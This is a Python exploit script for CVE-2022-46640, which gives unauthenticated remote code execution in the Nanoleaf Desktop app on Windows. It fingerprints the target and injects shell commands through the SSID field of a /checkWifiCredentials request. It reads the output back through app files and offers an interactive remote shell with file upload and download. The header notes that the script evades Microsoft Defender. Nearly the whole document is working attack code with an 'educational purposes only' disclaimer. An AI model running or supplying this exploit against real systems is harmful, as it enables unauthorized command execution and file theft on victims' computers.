CVE-2022-46640.py

#!/usr/bin/env python3

''' Nanoleaf Desktop (Windows) unauth. RCE
- Author: github.com/Notselwyn
- Software: Nanoleaf Desktop
- OS: Windows
- Tested software version: 1.2.4 (recent at time of writing)
- Type: command injection + limited arbitrary file read
- Impact: unauthenticated RCE
- Detection: undetected by MS Defender (at time of writing)

+ This program was published, developed and distributed for educational purposes only. I ("the author")
+ do not condone any malicious or illegal usage of this program, and/or any other program in this repository, 
+ as the intend is sharing research and not condoning illegal activities. I am not legally responsible for
+ anything you do with this program
'''

import requests
import sys

# constant for when this is used as module
WHITELISTED_FILENAMES = ["newData", "main-es5.js", "main-es2015.js",
                         "polyfills-es5.js", "polyfills-es2015.js",
                         "runtime-es5.js", "runtime-es2015.js", "scripts.js",
                         "styles.css", "libScreenMirror.dylib",
                         "libScreenMirror.dll", "libECL.dylib", "libECL.dll",
                         "libRCC.dll"]


def _parse_args(args: list[str], file: str = "libRCC.dll") -> tuple[str, str]:
    """ Parse the commandline arguments of the script.
    Order of args:
        script.py <ip[:port]> [remote IO file]

    Args:
        args (list[str]): the command line arguments.
        file (str, optional): the remote IO file. Defaults to "styles.css".

    Returns:
        tuple[str, str]: possible error, remote IO file.
    """

    err = ""
    host = ""
    if len(args) == 3:
        if args[2] in WHITELISTED_FILENAMES:
            file = args[2]
        else:
            err = "[!] given IO file is not whitelisted"
    elif len(args) != 2:
        err = f"[!] usage: {args[0]} <ip[:port]> [remote IO file]"

    if err == "":
        if ':' in args[1]:
            ip, port = args[1].split(':')
        else:
            ip, port = args[1], 15765
        host = f"http://{ip}:{port}"  # vulnerable machine

    return err, host, file


def fingerprint(session: requests.Session, host: str) -> str:
    """ Fingerprint the webserver to check if it's Nanoleaf desktop.

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable webserver in the format `http://ip:port`.

    Returns:
        str: possible error if the fingerprint fails.
    """

    # check if webserver is running
    try:
        fp_content = session.get(host, timeout=3).content
    except requests.exceptions.ConnectTimeout:
        return "[!] server is non-responsive (3s timeout)"

    # fingerprint the webserver to check if it's the desktop webserver
    if b"<title>Nanoleaf Desktop</title>" not in fp_content:
        return "[!] server isn't running Nanoleaf desktop (fingerprint doesn't match)"

    # positive fingerprint
    return ""


def read_file(session: requests.Session, host: str, file: str) -> str:
    """ Reads a file from the vulnerable webserver.

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable webserver in the format `http://ip:port`.
        file (str): the whitelisted file to be read (WHITELISTED_FILENAMES).

    Returns:
        str: the file content.
    """

    r = session.get(host + "/file/import/" + file)
    if r.status_code != 404:
        return r.json()["data"]
    raise AssertionError("unable to retrieve file")


def delete_file(session: requests.Session, host: str, file: str) -> None:
    """ Deletes a file from the vulnerable webserver.

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable webserver in the format `http://ip:port`.
        file (str): the whitelisted file to be deleted (WHITELISTED_FILENAMES).
    """

    session.get(host + "/file/clear/" + file)


def write_file(session: requests.Session, host: str, file: str, body: str) -> None:
    """ Writes a file to the vulnerable webserver.

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable  in the format `http://ip:port`.
        file (str): the whitelisted file to be written (WHITELISTED_FILENAMES).
        body (str): the content of the file to be written.
    """

    headers = {"Content-Type": "text/plain"}
    session.post(host + "/file/export/" + file, data=body, headers=headers)


def upload_file(session: requests.Session, host: str, local_file: str, remote_file: str) -> None:
    """ Uploads a file from the host to the vulnerable webserver.

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable webserver in the format `http://ip:port`.
        local_file (str): the name of the local file to be uploaded.
        remote_file (str): the name of the file to be written on the target.
    """

    with open(local_file) as f:
        write_file(session, host, fd_file, f.read())

    file_out = f"%USERPROFILE%\\Nanoleaf Desktop App\\.{fd_file}.txt"
    body = {"target_network": {"ssid": f'"&move "{file_out}" "{remote_file}"&::',
                               "password": "."}}
    session.post(host + "/checkWifiCredentials", json=body)

    delete_file(session, host, fd_file)


def download_file(session: requests.Session, host: str, target_file: str, local_file: str) -> None:
    """ Downllad a file from the target to the host machine

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable webserver in the format `http://ip:port`.
        target_file (str): the filename to be downloaded.
        local_file (str): the filename to be stored.
    """

    # open file before sending cmd in case of permission error
    with open(local_file, "w") as f:
        file_out = f"%USERPROFILE%\\Nanoleaf Desktop App\\.{fd_file}.txt"
        body = {"target_network": {"ssid": f'"&copy "{target_file}" "{file_out}"&::',
                                "password": "."}}
        session.post(host + "/checkWifiCredentials", json=body)

        f.write(read_file(session, host, fd_file))

    delete_file(session, host, fd_file)


def exec_cmd(session: requests.Session, host: str, command: str) -> None:
    """ Execute a remote command on a vulnerable webserver.

    Args:
        session (requests.Session): the requests session, or requests module.
        host (str): the vulnerable webserver in the format `http://ip:port`.
        command (str): the command to be executed on the vulnerable webserver.
    """

    file_out = f"%USERPROFILE%\\Nanoleaf Desktop App\\.{fd_file}.txt"
    loader = f'(({command})2>&1)>"{file_out}"'

    # "&whoami>out.txt&::
    # comm.exe xyz=""&whoami>out.txt&::"
    # & starts new command regardless of prefix
    # :: comments out the rest of the command
    body = {"target_network": {"ssid": f'"&{loader}&::',
                               "password": "."}}
    session.post(host + "/checkWifiCredentials", json=body)

    ret = read_file(session, host, fd_file)
    delete_file(session, host, fd_file)
    return ret


if __name__ == "__main__":
    # file descriptor file for remote IO
    err, vuln_host, fd_file = _parse_args(sys.argv)
    if err != "":
        print(err + "\nwhitelisted remote IO:")
        for f in WHITELISTED_FILENAMES:
            print("-", f)
        exit()

    # start networking stuff
    s = requests.session()

    # perform fingerprint and exit upon error
    err = fingerprint(s, vuln_host)
    if err != "":
        print(err)
        exit()

    # get the current path for the sake of aestetics
    pwd = exec_cmd(s, vuln_host, "echo %cd%").strip()
    if "\\" not in pwd:
        print("[!] exploit failed")
        exit()

    print("[+] exploit success")
    while True:
        cmd = input(pwd + "> ").strip()
        if cmd in ["quit", "exit"]:
            print("[+] quitting shell")
            break
        elif cmd == "cd" or cmd.startswith("cd "):
            print("[!] cd doesn't work. use relative paths")
            continue
        elif cmd == "download" or cmd.startswith("download "):
            files = cmd.split()[1:]
            if files == []:
                print("[!] usage: download <target file> <local file>")
                print(" - downloads file from target to local machine")
                continue

            remote_file = files[0]
            local_file = remote_file.split("\\")[-1]
            if len(files) == 2:
                local_file = files[1]

            print(f"[*] downloading '{remote_file}' as '{local_file}'...", end='\r')
            try:
                download_file(s, vuln_host, remote_file, local_file)
            except PermissionError:
                print(f"[!] [local] permission denied (write): '{local_file}'" + " "*30)
            except FileNotFoundError:
                directory = "/".join(local_file.split("/")[:-1])
                print(f"[!] [local] no such local directory: '{directory}'" + " "*30)
            except IsADirectoryError:
                print(f"[!] [local] is a directory: '{local_file}'" + " "*30)
            except AssertionError:
                print(f"[!] [remote] no such file: '{remote_file}'" + " "*30)
            else:
                print(f"[+] downloaded '{remote_file}' to '{local_file}'" + " "*30)
        elif cmd == "upload" or cmd.startswith("upload"):
            files = cmd.split()[1:]
            if files == []:
                print("[!] usage: upload <local file> <remote file>")
                print(" - uploads file from local to remote machine")
                continue

            local_file = files[0]
            remote_file = local_file.split("/")[-1]
            if len(files) == 2:
                remote_file = files[1]

            print(f"[*] uploading '{local_file}' as '{remote_file}'...", end='\r')
            try:
                upload_file(s, vuln_host, local_file, remote_file)
            except FileNotFoundError:
                print(f"[!] [local] no such file: '{local_file}'" + " "*30)
            except PermissionError:
                print(f"[!] [local] permission denied (read): '{local_file}'" + " "*30)
            except IsADirectoryError:
                print(f"[!] [local] is a directory: '{local_file}'" + " "*30)
            else:
                print(f"[+] uploaded '{local_file}' as '{remote_file}'" + " "*30)

        else:
            # don't strip to keep the \r\n
            print(exec_cmd(s, vuln_host, cmd))